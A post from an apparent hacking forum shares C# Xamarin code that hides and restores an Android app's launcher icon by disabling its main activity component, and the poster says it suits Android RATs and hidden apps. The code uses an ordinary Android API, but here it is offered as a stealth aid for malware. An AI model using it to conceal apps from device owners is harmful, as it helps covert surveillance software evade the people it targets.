Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

XAMARIN Android Simple code to hide app icon from luncher

Code that can be used for rat's for android or some hidden app's :)
pastebin[.]com/uHX5Ecp1

Code
//Hide
APPHide.SharedAPPHide().HideAppIcon(Application.Context, typeof(MainActivity));

//Show
APPHide.SharedAPPHide().UnHideAppIcon(Application.Context, typeof(MainActivity));

Code
using System;
using Android.Content.PM;
using Android.App.Admin;
using Android.App;
using Android.Content;
using Android;
using Android.OS;
using Android.Media;

namespace Core.Hidden
{
    /// <summary>
    /// ###############################################################################
    /// Hide App Icon from launcher
    /// ###############################################################################
    /// Contains:
    /// -------------------------------------------------------------------------------
    /// - HideAppIcon
    /// - UnHideAppIcon
    /// ###############################################################################
    /// </summary>
    public class APPHide
    {
        #region Hide app icon

        public void HideAppIcon(Context app_context,Type TP)
        {
            PackageManager p=app_context.PackageManager;

            ComponentName componentName = new ComponentName(app_context,Java.Lang.Class.FromType(TP));

            p.SetComponentEnabledSetting(componentName,ComponentEnabledState.Disabled,ComponentEnableOption.DontKillApp);
        }

        

        #endregion End

        #region Unhide app icon

        public void UnHideAppIcon(Context app_context,Type TP)
        {
            PackageManager p=app_context.PackageManager;

            ComponentName componentName = new ComponentName(app_context,Java.Lang.Class.FromType(TP));

            p.SetComponentEnabledSetting(componentName,ComponentEnabledState.Enabled,ComponentEnableOption.DontKillApp);
        }

        #endregion End
    
        #region Singleton pattern
        private static APPHide instance;
        private APPHide()
        {
            
        }
        public static APPHide SharedAPPHide()
        {
            if (instance == null)
                instance = new APPHide();
            return instance;
        }
        #endregion
    }
}
buy me a coffee eth:0x88621A52aa5Eb3b6503628369687111810186c58


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by itcorpAug 26, 2025 12:35 PM 3 451 Aug 26, 2025 12:35 PM
Last Post: Weeds
[.NET] by SIM-63814Mar 5, 2023 02:14 PM 12 390 Mar 5, 2023 02:14 PM
Last Post: Swizzi00
[C#] by PitbullT0rJun 15, 2021 03:39 AM 5 312 Jun 15, 2021 03:39 AM
Last Post: Mistercoenkel